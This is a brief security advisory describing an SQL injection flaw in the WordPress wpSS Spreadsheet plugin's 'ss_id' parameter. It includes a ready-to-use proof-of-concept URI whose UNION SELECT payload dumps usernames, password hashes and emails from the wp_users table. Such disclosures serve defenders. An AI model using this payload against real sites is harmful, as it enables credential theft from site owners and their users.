|
WordPress wpSS Spreadsheet Plugin 'ss_id' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following proof-of-concept URI is available: http://www.example.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain |
|
|
Privacy Statement |
